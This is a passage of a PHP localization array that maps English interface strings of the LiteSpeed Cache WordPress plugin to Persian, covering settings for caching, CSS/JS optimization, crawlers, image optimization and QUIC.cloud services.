برخی صفحات به اشتباه مستثنی شوند.','Cleaned all Unique CSS files.'=>'تمام فایل‌های CSS منحصر به فرد را پاک کرد.','Add Missing Sizes'=>'اضافه کردن اندازه‌های گمشده','Optimize for Guests Only'=>'بهینه‌سازی فقط برای مهمانان','Guest Mode JS Excludes'=>'استثنائات JS حالت مهمان','CCSS Per URL'=>'CCSS به ازای هر URL','HTML Lazy Load Selectors'=>'انتخابگرهای بارگذاری تنبل HTML','UCSS URI Excludes'=>'استثناهای URI UCSS','UCSS Inline'=>'UCSS درون‌خطی','Guest Optimization'=>'بهینه‌سازی مهمان','Guest Mode'=>'حالت مهمان','Guest Mode IPs'=>'IP های حالت مهمان','Guest Mode User Agents'=>'عوامل کاربر حالت مهمان','Online node needs to be redetected.'=>'گره آنلاین نیاز به دوباره شناسایی دارد.','The current server is under heavy load.'=>'سرور فعلی تحت بار سنگین است.','Please see %s for more details.'=>'لطفاً برای جزئیات بیشتر به %s مراجعه کنید.','This setting will regenerate crawler list and clear the disabled list!'=>'این تنظیم لیست خزنده را دوباره تولید می کند و لیست غیرفعال را پاک می کند!','%1$s %2$s files left in queue'=>'%1$s %2$s فایل در صف باقی مانده است','Crawler disabled list is cleared! All crawlers are set to active! '=>'لیست ربات‌های غیرفعال پاک شده است! همه ربات‌ها به حالت فعال تنظیم شده‌اند! ','Redetected node'=>'گره دوباره شناسایی شده','No available Cloud Node after checked server load.'=>'پس از بررسی بار سرور، هیچ نود ابری در دسترس نیست.','Localization Files'=>'فایل‌های محلی‌سازی','Purged!'=>'پاک شد!','Resources listed here will be copied and replaced with local URLs.'=>'منابع ذکر شده در اینجا کپی شده و با URLهای محلی جایگزین خواهند شد.','Use latest GitHub Master commit'=>'از آخرین کامیت Master گیت‌هاب استفاده کنید','Use latest GitHub Dev commit'=>'از آخرین کامیت توسعه‌دهنده GitHub استفاده کنید','No valid sitemap parsed for crawler.'=>'هیچ نقشه سایت معتبری برای خزنده تجزیه نشده است.','CSS Combine External and Inline'=>'CSS خارجی و درون خطی را ترکیب کنید','Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine.'=>'CSS خارجی و CSS درون‌خط را در فایل ترکیبی شامل کنید زمانی که %1$s نیز فعال است. این گزینه به حفظ اولویت‌های CSS کمک می‌کند که باید خطاهای احتمالی ناشی از ترکیب CSS را به حداقل برساند.','Minify CSS files and inline CSS code.'=>'پرونده های CSS و کد داخلی CSS را کم کنید.','Predefined list will also be combined w/ the above settings'=>'لیست از پیش تعریف شده نیز با تنظیمات فوق ترکیب خواهد شد','Localization'=>'بومی‌سازی','Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine.'=>'JS خارجی و JS درون‌خط را در فایل ترکیبی شامل کنید زمانی که %1$s نیز فعال است. این گزینه به حفظ اولویت‌های اجرای JS کمک می‌کند که باید خطاهای احتمالی ناشی از ترکیب JS را به حداقل برساند.','Combine all local JS files into a single file.'=>'تمام فایل‌های JS محلی را در یک فایل واحد ترکیب کنید.','Listed JS files or inline JS code will not be deferred or delayed.'=>'فایل‌های JS فهرست‌شده یا کد JS توکار با تعویق یا تاخیر نخواهند بود.','JS Combine External and Inline'=>'JS ترکیب خارجی و داخلی','Dismiss'=>'رد کردن','The latest data file is'=>'آخرین فایل داده','The list will be merged with the predefined nonces in your local data file.'=>'این لیست با nonces از پیش تعریف شده در فایل داده محلی شما ادغام خواهد شد.','Combine CSS files and inline CSS code.'=>'فایل‌های CSS و کد CSS درون‌خطی را ترکیب کنید.','Minify JS files and inline JS codes.'=>'فایل‌های JS و کدهای JS درون‌خطی را کوچک‌سازی کنید.','Listed JS files or inline JS code will not be minified or combined.'=>'فایل‌های JS فهرست‌شده یا کد JS توکار فشرده/ترکیب نخواهند شد.','Listed CSS files or inline CSS code will not be minified or combined.'=>'فایل‌های CSS فهرست شده یا کد CSS توکار فشرده/ترکیب نخواهند شد.','This value is overwritten by the Network setting.'=>'این مقدار توسط تنظیمات شبکه بازنویسی می‌شود.','LQIP Excludes'=>'LQIP مستثنی می‌شود','These images will not generate LQIP.'=>'این تصاویر LQIP تولید نخواهند کرد.','Are you sure you want to reset all settings back to the default settings?'=>'آیا مطمئن هستید که می‌خواهید تمام تنظیمات را به تنظیمات پیش‌فرض بازنشانی کنید؟','This option will remove all %s tags from HTML.'=>'این گزینه تمام تگ‌های %s را از HTML حذف خواهد کرد.','Are you sure you want to clear all cloud nodes?'=>'آیا مطمئن هستید که می‌خواهید تمام گره‌های ابری را پاک کنید؟','Remove Noscript Tags'=>'برچسب‌های Noscript را حذف کنید','The site is not registered on QUIC.cloud.'=>'این سایت در QUIC.cloud ثبت نشده است.','Click here to set.'=>'برای ثبت کلیک کنید.','Localize Resources'=>'بومی سازی منابع','Setting Up Custom Headers'=>'تنظیم هدرهای سفارشی','This will delete all localized resources'=>'این تمام منابع محلی‌سازی شده را حذف خواهد کرد','Localized Resources'=>'منابع محلی‌سازی شده','Comments are supported. Start a line with a %s to turn it into a comment line.'=>'نظرات پشتیبانی می‌شوند. یک خط را با %s شروع کنید تا آن را به یک خط نظر تبدیل کنید.','HTTPS sources only.'=>'فقط منابع HTTPS .','Localize external resources.'=>'بومی سازی منابع خارجی.','Localization Settings'=>'تنظیمات محلی‌سازی','Use QUIC.cloud online service to generate unique CSS.'=>'از سرویس آنلاین QUIC.cloud برای تولید CSS یکتا استفاده کنید.','Generate UCSS'=>'تولید UCSS','Unique CSS'=>'CSS یکتا','Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches'=>'کش entries ایجاد شده توسط این پلاگین را پاک کنید به جز کش های Critical CSS و Unique CSS و LQIP','LiteSpeed Report'=>'گزارشِ لایت‌اسپید','Image Thumbnail Group Sizes'=>'سایز گروه تصویر بندانگشتی','Ignore certain query strings when caching. (LSWS %s required)'=>'هنگام کش برخی از رشته‌های جستجو شده را نادیده بگیرید. ( LSWS %s لازم است)','For URLs with wildcards, there may be a delay in initiating scheduled purge.'=>'برای پیوندهای دارای نمادگر گسترده، ممکن است در شروع پاکسازی برنامه‌ریزی شده تاخیر وجود داشته باشد.','By design, this option may serve stale content. Do not enable this option, if that is not OK with you.'=>'با طراحی کردن، این گزینه ممکن است محتوای قدیمی را ارائه دهد. اگر برای شما مناسب نیست، این گزینه را فعال نکنید.','Serve Stale'=>'سرویس قدیمی','This value is overwritten by the primary site setting.'=>'این مقدار توسط تنظیمات اصلی سایت بازنویسی می‌شود.','One or more pulled images does not match with the notified image md5'=>'یک یا چند تصویر کشیده شده با md5 تصویر اعلام شده مطابقت ندارد','Some optimized image file(s) has expired and was cleared.'=>'برخی از فایل های تصویر بهینه شده منقضی شده و پاک شده است.','You have too many requested images, please try again in a few minutes.'=>'تعداد تصاویر درخواستی شما زیاد است، لطفاً چند دقیقه دیگر دوباره سعی کنید.','Pulled WebP image md5 does not match the notified WebP image md5.'=>'تصویر WebP کشیده شده md5 با تصویر WebP اعلام شده md5 مطابقت ندارد.','Pulled AVIF image md5 does not match the notified AVIF image md5.'=>'تصویر AVIF کشیده شده md5 با تصویر AVIF اعلام شده md5 مطابقت ندارد.','Read LiteSpeed Documentation'=>'خواندن مستندات لایت اسپید','There is proceeding queue not pulled yet. Queue info: %s.'=>'صف در حال پیشرفت هنوز کشیده نشده است. اطلاعات صف: %s.','Specify how long, in seconds, Gravatar files are cached.'=>'مشخص کنید چه مدت، در ثانیه، پرونده‌های گراواتار در حافظه پنهان ذخیره شوند.','Cleared %1$s invalid images.'=>'تصاویر نامعتبر %1$s پاک شدند.','LiteSpeed Cache General Settings'=>'تنظیمات عمومی کش لایت اسپید','This will delete all cached Gravatar files'=>'این عملیات تمامی فایل‌های کش شده Gravatar را حذف می‌کند','Prevent any debug log of listed pages.'=>'هرگونه لاگ اشکال‌زدایی از صفحات لیست شده را جلوگیری کنید','Only log listed pages.'=>'فقط صفحات فهرست‌شده لاگ شوند.','Specify the maximum size of the log file.'=>'بیشترین اندازه فایل  گزارش را اختصاصی کنید.','To prevent filling up the disk, this setting should be OFF when everything is working.'=>'برای جلوگیری از پر شدن دیسک، وقتی همه چیز کار می کند، این تنظیم باید خاموش باشد.','Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory.'=>'دکمه %s را فشار دهید تا آزمایش بتا متوقف شود و به نسخه فعلی از فهرست پلاگین وردپرس برگردید.','Use latest WordPress release version'=>'از آخرین نسخه انتشار وردپرس استفاده کنید','OR'=>'یا','Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below.'=>'از این بخش برای تغییر نسخه پلاگین استفاده کنید. برای آزمایش بتا یک commit GitHub، URL commit را در فیلد زیر وارد کنید.','Reset Settings'=>'بازنشانی تنظیمات','LiteSpeed Cache Toolbox'=>'جعبه ابزار کش لایت اسپید','Beta Test'=>'تست بتا','Log View'=>'مشاهده گزارش','Debug Settings'=>'تنظیمات خطایابی','Turn ON to control heartbeat in backend editor.'=>'برای کنترل ضربان قلب در ویرایشگر بخش مدیریت روشن کنید.','Turn ON to control heartbeat on backend.'=>'برای کنترل ضربان قلب در بخش مدیریت روشن کنید.','Set to %1$s to forbid heartbeat on %2$s.'=>'برای ممنوع کردن ضربان قلب در %2$s به %1$s تنظیم کنید.','WordPress valid interval is %s seconds.'=>'فاصله معتبر WordPress %s ثانیه است.','Specify the %s heartbeat interval in seconds.'=>'فاصله ضربان قلب %s را به ثانیه مشخص کنید.','Turn ON to control heartbeat on frontend.'=>'برای کنترل ضربان قلب در جلوی صفحه، روشن کنید.','Disable WordPress interval heartbeat to reduce server load.'=>'ضربان قلب دوره‌ای وردپرس را غیرفعال کنید تا بار سرور کاهش یابد.','Heartbeat Control'=>'کنترل ضربان قلب','provide more information here to assist the LiteSpeed team with debugging.'=>'اطلاعات بیشتری در اینجا ارائه دهید تا به تیم LiteSpeed در عیب‌یابی کمک کنید.','Optional'=>'اختیاری','Generate Link for Current User'=>'ایجاد لینک برای کاربر فعلی','Passwordless Link'=>'لینک بدون پسورد','System Information'=>'اطلاعات سیستم','Go to plugins list'=>'رفتن به لیست افزونه ها','Install DoLogin Security'=>'نصب DoLogin Security','Check my public IP from'=>'بررسی IP عمومی من از','Your server IP'=>'آی پی سرور شما','Enter this site\'s IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups.'=>'نشانی IP این سایت‌را وارد کنید تا اجازه دهید خدمات ابری به جای نام دامنه به طور مستقیم با IP تماس بگیرد. این امر سربار جستجوهای DNS و CDN را حذف می‌کند.','This will enable crawler cron.'=>'این باعث فعال شدن کرون خزنده خواهد شد','Crawler General Settings'=>'تنظیمات عمومی خزنده','Remove from Blocklist'=>'حذف از لیست سیاه','Empty blocklist'=>'لیست مسدود شده را خالی کن','Are you sure to delete all existing blocklist items?'=>'آیا مطمئن هستید که می‌خواهید تمام موارد موجود در لیست مسدود شده را حذف کنید؟','Blocklisted due to not cacheable'=>'به دلیل غیرقابل کش شدن در لیست مسدود شده است','Add to Blocklist'=>'به لیست مسدود شده اضافه کن','Operation'=>'عملکرد','Sitemap Total'=>'مجموع نقشه سایت','Sitemap List'=>'لیست نقشه سایت','Refresh Crawler Map'=>'نقشه خزنده را تازه‌سازی کن','Clean Crawler Map'=>'نقشه خزنده تمیز','Blocklist'=>'لیست مسدود شده','Map'=>'نقشه','Summary'=>'خلاصه','Cache Miss'=>'خطای کش','Cache Hit'=>'ضربه کش','Waiting to be Crawled'=>'در انتظار خزیدن','Blocklisted'=>'در لیست سیاه','Miss'=>'از دست رفته','Hit'=>'بازدید','Waiting'=>'در انتظار','Running'=>'در حال اجرا','Use %1$s in %2$s to indicate this cookie has not been set.'=>'از %1$s در %2$s برای نشان دادن اینکه این کوکی تنظیم نشده است استفاده کنید','Add new cookie to simulate'=>'کوکی جدیدی برای شبیه‌سازی اضافه کنید','Remove cookie simulation'=>'شبیه‌سازی کوکی را حذف کنید','Htaccess rule is: %s'=>'قانون Htaccess این است: %s','More settings available under %s menu'=>'دسترسی به تنظیمات بیشتر در  زیرمنو %s','The amount of time, in seconds, that files will be stored in browser cache before expiring.'=>'مدت زمانی، بر حسب ثانیه، که فایل‌ها قبل از انقضا در کش مرورگر ذخیره می‌شوند.','OpenLiteSpeed users please check this'=>'کاربران OpenLiteSpeed لطفاً این را بررسی کنید','Browser Cache Settings'=>'تنظیمات کش مرورگر','Paths containing these strings will be forced to public cached regardless of no-cacheable settings.'=>'مسیرهای حاوی این رشته‌ها بدون در نظر گرفتن تنظیمات no-cacheable به اجبار کش می‌شوند.','With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server.'=>'با فعال بودن CDN QUIC.cloud، ممکن است هنوز هدرهای کش از سرور محلی خود را مشاهده کنید','An optional second parameter may be used to specify cache control. Use a space to separate'=>'یک پارامتر دوم اختیاری می‌تواند برای مشخص کردن کنترل کش استفاده شود. از یک فاصله برای جداسازی استفاده کنید','The above nonces will be converted to ESI automatically.'=>'کلیدهای سری بالا به‌طور خودکار به ESI تبدیل خواهند شد.','Browser'=>'مرورگر','Object'=>'Object','Default port for %1$s is %2$s.'=>'پورت پیش‌فرض برای %1$s %2$s است.','Object Cache Settings'=>'تنظیمات کش Object','Specify an HTTP status code and the number of seconds to cache that page, separated by a space.'=>'کد وضعیت HTTP و تعداد ثانیه‌های ذخیره آن صفحه را که مشخص کنید، با فاصله از هم جدا کنید.','Specify how long, in seconds, the front page is cached.'=>'مشخص کنید چه مدت، در ثانیه، برگه نخست در حافظه پنهان ذخیره شوند.','TTL'=>'TTL','If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait.'=>'اگر روشن باشد، تا زمانی که یک کپی کش جدید در دسترس باشد یک کپی قدیمی از برگه کش شده به بازدیدکنندگان نمایش داده می‌شود. بار سرور را برای بازدیدکنندگان جدید کاهش می‌دهد. اگر خاموش باشد، برگه به صورت پویا در طول صبر نمودن بازدیدکنندگان ایجاد می‌شود.','Swap'=>'جابجایی','Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded.'=>'این را تنظیم کنید تا %1$s به تمام قوانین %2$s قبل از کش کردن CSS اضافه شود تا مشخص کند که فونت‌ها چگونه باید در حین دانلود نمایش داده شوند.','Avatar list in queue waiting for update'=>'لیست آواتار در صف منتظر به‌روزرسانی','Refresh Gravatar cache by cron.'=>'کش Gravatar را با کرون تازه‌سازی کنید.','Accelerates the speed by caching Gravatar (Globally Recognized Avatars).'=>'سرعت را با کش کردن Gravatar (آواتارهای شناخته شده جهانی) افزایش می‌دهد.','Store Gravatar locally.'=>'ذخیره Gravatar به صورت محلی','Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup.'=>'ایجاد جدول آواتار ناموفق بود. لطفاً <a %s>راهنمای ایجاد جدول از ویکی LiteSpeed</a> را برای اتمام راه‌اندازی دنبال کنید.','LQIP requests will not be sent for images where both width and height are smaller than these dimensions.'=>'درخواست‌های LQIP برای تصاویری که هم عرض و هم ارتفاع آن‌ها کوچکتر از این ابعاد است ارسال نخواهد شد','pixels'=>'پیکسل‌ها','Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points.'=>'عدد بزرگتر باعث تولید جایگزین با کیفیت بالاتر می‌شود، اما منجر به فایل‌های بزرگتر خواهد شد که اندازه صفحه را افزایش داده و نقاط بیشتری مصرف می‌کند','Specify the quality when generating LQIP.'=>'کیفیت را هنگام تولید LQIP مشخص کنید.','Keep this off to use plain color placeholders.'=>'این را خاموش نگه‌دارید تا از جایگزین‌های رنگ ساده استفاده کنید.','Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading.'=>'از سرویس تولیدکننده LQIP (جایگزین تصویر با کیفیت پایین) QUIC.cloud برای پیش‌نمایش تصاویر پاسخگو در حین بارگذاری استفاده کنید.','Specify the responsive placeholder SVG color.'=>'رنگ SVG جایگزین پاسخگو را مشخص کنید.','Variables %s will be replaced with the configured background color.'=>'متغیرهای %s با رنگ پس‌زمینه تنظیم‌شده جایگزین خواهند شد.','Variables %s will be replaced with the corresponding image properties.'=>'متغیرهای %s با ویژگی‌های مربوطه تصویر جایگزین خواهند شد.','It will be converted to a base64 SVG placeholder on-the-fly.'=>'این به یک جایگزین SVG base64 به صورت آنی تبدیل خواهد شد.','Specify an SVG to be used as a placeholder when generating locally.'=>'یک SVG را مشخص کنید که به عنوان یک جایگزین هنگام تولید محلی استفاده شود.','Prevent any lazy load of listed pages.'=>'از هر گونه بارگذاری تنبل صفحات لیست شده جلوگیری کنید.','Iframes having these parent class names will not be lazy loaded.'=>'ایفریم‌هایی که این نام‌های کلاس والد را دارند، به صورت تنبل بارگذاری نخواهند شد.','Iframes containing these class names will not be lazy loaded.'=>'ایفریم‌های حاوی این نام‌های کلاس به‌طور تنبل بارگذاری نخواهند شد.','Images having these parent class names will not be lazy loaded.'=>'تصاویر دارای این نام‌های کلاس والد به‌طور تنبل بارگذاری نخواهند شد.','LiteSpeed Cache Page Optimization'=>'بهینه‌سازی برگه کش لایت اسپید','Media Excludes'=>'رسانه‌های مستثنی شده','CSS Settings'=>'تنظیمات CSS','%s is recommended.'=>'%s پیشنهاد شده است.','Deferred'=>'به تعویق افتاده','Default'=>'پیش‌فرض','This can improve the page loading speed.'=>'این می‌تواند سرعت بارگذاری صفحه را بهبود بخشد.','Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth.'=>'به‌طور خودکار پیش‌بارگذاری DNS را برای تمام URLهای موجود در سند، از جمله تصاویر، CSS، جاوااسکریپت و غیره فعال کنید.','New developer version %s is available now.'=>'نسخه جدید توسعه‌دهنده %s اکنون در دسترس است','New Developer Version Available!'=>'نسخه جدید توسعه‌دهنده در دسترس است!','Dismiss this notice'=>'این اطلاعیه را رد کنید','Tweet this'=>'توییت این','Tweet preview'=>'پیش‌نمایش توییت','Learn more'=>'اطلاعات بیشتر','You just unlocked a promotion from QUIC.cloud!'=>'شما به تازگی یک پیشنهاد از QUIC.cloud را باز کرده‌اید!','The image compression quality setting of WordPress out of 100.'=>'تنظیم کیفیت فشرده‌سازی تصویر وردپرس از 100.','Image Optimization Settings'=>'تنظیمات بهینه‌سازی تصویر','Are you sure to destroy all optimized images?'=>'آیا مطمئن هستید که می‌خواهید تمام تصاویر بهینه‌شده را حذف کنید؟','Use Optimized Files'=>'استفاده از فایل های بهینه شده','Switch back to using optimized images on your site'=>'به استفاده از تصاویر بهینه‌شده در سایت خود برگردید','Use Original Files'=>'استفاده از فایل‌های اصلی','Use original images (unoptimized) on your site'=>'از تصاویر اصلی (بهینه‌نشده) در سایت خود استفاده کنید','You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available.'=>'شما می‌توانید به سرعت بین استفاده از تصاویر اصلی ( نسخه‌های بهینه‌نشده  ) و تصاویر بهینه‌شده جابه‌جا شوید. این روی تمامی تصاویر سایت شما تاثیر می‌گذارد، چه نسخه معمولی و چه نسخه webp اگر در دسترس باشد.','Optimization Tools'=>'ابزار های بهینه سازی','Rescan New Thumbnails'=>'اسکن مجدد تصاویر جدید','Congratulations, all gathered!'=>'تبریک، همه جمع‌آوری شد!','What is an image group?'=>'گروه تصویر چیست؟','Delete all backups of the original images'=>'حذف تمامی نسخه‌های پشتیبان از تصاویر اصلی','Calculate Backups Disk Space'=>'محاسبه فضای دیسک پشتیبان گیری','Optimization Status'=>'وضعیت بهینه‌سازی','Current limit is'=>'محدودیت فعلی','To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited.'=>'برای اطمینان از اینکه سرور ما می تواند بدون هیچ مشکلی با سرور شما ارتباط برقرار کند و همه چیز خوب کار کند، برای چند درخواست اول تعداد گروه‌های تصویر مجاز در یک درخواست محدود است.','You can request a maximum of %s images at once.'=>'شما می توانید حداکثر %s تصویر را به طور همزمان درخواست کنید.','Optimize images with our QUIC.cloud server'=>'بهینه‌سازی تصاویر با سرور QUIC.cloud ما','Revisions newer than this many days will be kept when cleaning revisions.'=>'بازنگری‌های جدیدتر از این چند روز در هنگام تمیز کردن بازبینی‌ها حفظ می‌شوند.','Day(s)'=>'روز(ها)','Specify the number of most recent revisions to keep when cleaning revisions.'=>'تعداد آخرین ویرایش‌ها را برای حفظ در هنگام پاک‌سازی بازبینی‌ها مشخص کنید.','LiteSpeed Cache Database Optimization'=>'بیهنه‌سازی پایگاه‌داده کش لایت اسپید','DB Optimization Settings'=>'تنظیمات بهینه‌سازی پایگاه‌داده','Option Name'=>'نام گزینه','Database Summary'=>'خلاصه پایگاه‌داده','We are good. No table uses MyISAM engine.'=>'خیلی خوبه هیچ جدولی از موتور MyISAM استفاده نمی کند.','Convert to InnoDB'=>'تبدیل به InnoDB','Tool'=>'ابزار','Engine'=>'موتور','Table'=>'جدول','Database Table Engine Converter'=>'مبدل موتور جدول پایگاه داده','Clean revisions older than %1$s day(s), excluding %2$s latest revisions'=>'پاک‌سازی نسخه‌های قدیمی‌تر از %1$s روز، به‌جز %2$s نسخه آخر','Currently active crawler'=>'خزنده‌های فعال درحال‌حاضر','Crawler(s)'=>'خزنده‌ها','Crawler Status'=>'وضعیت خزنده‌ها','Force cron'=>'اجبار کرون','Requests in queue'=>'درخواست‌ها در صف','Time to execute previous request: %s'=>'زمان اجرای درخواست قبلی: %s','Private Cache'=>'کش خصوصی','Public Cache'=>'کش عمومی','Cache Status'=>'وضعیت کش','Last Pull'=>'آخرین کشش','Image Optimization Summary'=>'خلاصه بهینه‌سازی تصویر','Refresh page score'=>'امتیاز صفحه را تازه کنید','Are you sure you want to redetect the closest cloud server for this service?'=>'آیا مطمئن هستید که می‌خواهید نزدیک‌ترین سرور ابری را برای این سرویس شناسایی مجدد کنید؟','Current closest Cloud server is %s. Click to redetect.'=>'سرور ابری نزدیک‌ترین فعلی %s است.&#10;برای شناسایی مجدد کلیک کنید.','Refresh page load time'=>'زمان بارگذاری صفحه را تازه کنید','Go to QUIC.cloud dashboard'=>'به داشبورد QUIC.cloud برو','Low Quality Image Placeholder'=>'جایگزین تصویر با کیفیت پایین','Sync data from Cloud'=>'همگام‌سازی داده‌ها از ابر','QUIC.cloud Service Usage Statistics'=>'آمار استفاده از سرویس QUIC.cloud','Total images optimized in this month'=>'تعداد تصاویری که در این ماه بهینه‌سازی شده‌اند','Total Usage'=>'جمع استفاده','Pay as You Go Usage Statistics'=>'آمار استفاده به ازای هر پرداخت','PAYG Balance'=>'موجودی PAYG','Pay as You Go'=>'پرداخت به ازای استفاده','Usage'=>'استفاده','Fast Queue Usage'=>'استفاده صف سریع','CDN Bandwidth'=>'پهنای باند CDN','LiteSpeed Cache Dashboard'=>'پیشخوان کش لایت اسپید','Network Dashboard'=>'پیشخوان شبکه','No cloud services currently in use'=>'هیچ سرویس ابری درحال‌حاضر استفاده نمی‌شود','Click to clear all nodes for further redetection.'=>'برای پاک کردن تمام گره‌ها برای شناسایی مجدد کلیک کنید','Current Cloud Nodes in Service'=>'گره‌های ابری فعلی در سرویس','Link to QUIC.cloud'=>'پیوند به QUIC.cloud','General Settings'=>'تنظیمات عمومی','Specify which HTML element attributes will be replaced with CDN Mapping.'=>'مشخص کنید کدام ویژگی‌های عنصر HTML با CDN Mapping جایگزین شوند.','Add new CDN URL'=>'افزودن CDN URL جدید','Remove CDN URL'=>'حذف URL CDN','To enable the following functionality, turn ON Cloudflare API in CDN Settings.'=>'برای فعال کردن قابلیت زیر، Cloudflare API را در تنظیمات CDN روشن کنید.','QUIC.cloud'=>'QUIC.cloud','WooCommerce Settings'=>'تنظیمات ووکامرس','LQIP Cache'=>'کش LQIP','Options saved.'=>'گزینه ها ذخیره شد.','Removed backups successfully.'=>'پشتیبان‌گیری‌ها با موفقیت حذف شدند.','Calculated backups successfully.'=>'پشتیبان‌گیری‌ها با موفقیت محاسبه شدند.','Rescanned %d images successfully.'=>'%d تصویر با موفقیت دوباره بررسی شد.','Rescanned successfully.'=>'با موفقیت دوباره اسکن شد.','Destroy all optimization data successfully.'=>'داده‌های بهینه‌سازی با موفقیت از بین رفت.','Cleaned up unfinished data successfully.'=>'داده های ناتمام با موفقیت پاکسازی شد.','Pull Cron is running'=>'کرون کشش در حال اجرا است','No valid image found by Cloud server in the current request.'=>'هیچ تصویر معتبری توسط سرور ابری در درخواست فعلی پیدا نشد.','No valid image found in the current request.'=>'هیچ تصویر معتبری در درخواست فعلی پیدا نشد.','Pushed %1$s to Cloud server, accepted %2$s.'=>'%1$s به سرور Cloud ارسال شد، %2$s پذیرفته شد.','Revisions Max Age'=>'حداکثر سن بازنگری ها','Revisions Max Number'=>'حداکثر تعداد ویرایش‌ها','Debug URI Excludes'=>'استثناهای URI اشکال‌زدایی','Debug URI Includes'=>'شامل‌های URI اشکال‌زدایی','HTML Attribute To Replace'=>'ویژگی HTML برای جایگزینی','Use CDN Mapping'=>'استفاده از نقشه CDN','QUIC.cloud CDN:'=>'شبکه توزیع محتوای QUIC.cloud:','Editor Heartbeat TTL'=>'TTL ضربان قلب ویرایشگر','Editor Heartbeat'=>'ضربان قلب ویرایشگر','Backend Heartbeat TTL'=>'TTL ضربان قلب بک‌اند','Backend Heartbeat Control'=>'کنترل ضربان قلب بک‌اند','Frontend Heartbeat TTL'=>'TTL ضربان قلب فرانت‌اند','Frontend Heartbeat Control'=>'کنترل ضربان قلب فرانت‌اند','Backend .htaccess Path'=>'مسیر .htaccess بک‌اند','Frontend .htaccess Path'=>'مسیر .htaccess فرانت‌اند','ESI Nonces'=>'غیرقابل پیش‌بینی‌های ESI','WordPress Image Quality Control'=>'کنترل کیفیت تصویر وردپرس','Auto Request Cron'=>'درخواست خودکار Cron','Generate LQIP In Background'=>'تولید LQIP در پس‌زمینه','LQIP Minimum Dimensions'=>'ابعاد حداقل LQIP','LQIP Quality'=>'کیفیت LQIP','LQIP Cloud Generator'=>'ژنراتور ابری LQIP','Responsive Placeholder SVG'=>'SVG جایگزین پاسخگو','Responsive Placeholder Color'=>'رنگ جایگزین پاسخگو','Basic Image Placeholder'=>'جایگزین تصویر پایه','Lazy Load URI Excludes'=>'URI بارگذاری تنبل مستثنیات','Lazy Load Iframe Parent Class Name Excludes'=>'نام کلاس والد iframe بارگذاری تنبل مستثنیات','Lazy Load Iframe Class Name Excludes'=>'نام کلاس iframe بارگذاری تنبل مستثنیات','Lazy Load Image Parent Class Name Excludes'=>'نام کلاس والد تصویر بارگذاری تنبل مستثنیات','Gravatar Cache TTL'=>'TTL کش Gravatar','Gravatar Cache Cron'=>'کرون کش Gravatar','Gravatar Cache'=>'کش Gravatar','DNS Prefetch Control'=>'کنترل پیش‌بارگذاری DNS','Font Display Optimization'=>'بهینه‌سازی نمایش فونت','Force Public Cache URIs'=>'اجبار به کش عمومی URIها','Notifications'=>'آگاه‌سازی‌ها','Default HTTP Status Code Page TTL'=>'TTL صفحه کد وضعیت HTTP پیش‌فرض','Default REST TTL'=>'TTL پیش‌فرض REST','Enable Cache'=>'فعالسازی کش','Server IP'=>'آی‌پی سرور','Images not requested'=>'تصاویر درخواست نشده','Sync credit allowance with Cloud Server successfully.'=>'هماهنگی اعتبار مجاز با سرور ابری با موفقیت انجام شد.','Failed to communicate with QUIC.cloud server'=>'عدم موفقیت در ارتباط با سرور QUIC.cloud','Good news from QUIC.cloud server'=>'خبر خوب از سرور QUIC.cloud','Message from QUIC.cloud server'=>'پیام از سرور QUIC.cloud','Please try after %1$s for service %2$s.'=>'لطفا بعد از %1$s برای سرویس %2$s تلاش کنید.','No available Cloud Node.'=>'هیچ نود ابری در دسترس نیست.','Cloud Error'=>'خطای ابر','The database has been upgrading in the background since %s. This message will disappear once upgrade is complete.'=>'پایگاه داده از %s در حال به‌روزرسانی در پس‌زمینه است. این پیام پس از اتمام به‌روزرسانی ناپدید خواهد شد.','Restore from backup'=>'بازیابی از پشتیبان','No backup of unoptimized WebP file exists.'=>'هیچ پشتیبانی از فایل WebP بهینه‌نشده وجود ندارد.','WebP file reduced by %1$s (%2$s)'=>'فایل WebP به میزان %1$s کاهش یافته است (%2$s)','Currently using original (unoptimized) version of WebP file.'=>'در حال حاضر از نسخه اصلی (غیر بهینه‌سازی شده) فایل WebP استفاده می‌شود.','Currently using optimized version of WebP file.'=>'در حال حاضر از نسخه بهینه‌سازی شده فایل WebP استفاده می‌شود.','Orig'=>'اصلی','(no savings)'=>'(صرفه‌جویی وجود ندارد)','Orig %s'=>'اصلی %s','Congratulation! Your file was already optimized'=>'تبریک! فایل شما قبلاً بهینه‌سازی شده بود.','No backup of original file exists.'=>'نسخه پشتیبان از فایل اصلی وجود ندارد.','Using optimized version of file. '=>'استفاده از نسخه بهینه‌سازی‌شده فایل. ','Orig saved %s'=>'%s ذخیره شده','Original file reduced by %1$s (%2$s)'=>'فایل اصلی به میزان %1$s (%2$s) کاهش یافته است','Click to switch to optimized version.'=>'برای سوئیچ به نسخه بهینه‌سازی شده کلیک کنید.','Currently using original (unoptimized) version of file.'=>'در حال حاضر از نسخه اصلی (بهینه‌نشده) فایل استفاده می‌شود.','(non-optm)'=>'(غیر بهینه‌سازی شده)','Click to switch to original (unoptimized) version.'=>'برای سوئیچ به نسخه اصلی (بهینه‌نشده) کلیک کنید.','Currently using optimized version of file.'=>'در حال حاضر از نسخه بهینه‌سازی شده فایل استفاده می‌شود.','(optm)'=>'(بهینه‌شده)','LQIP image preview for size %s'=>'پیش‌نمایش تصویر LQIP برای اندازه %s','LQIP'=>'LQIP','Previously existed in blocklist'=>'قبلاً در لیست سیاه وجود داشت','Manually added to blocklist'=>'به صورت 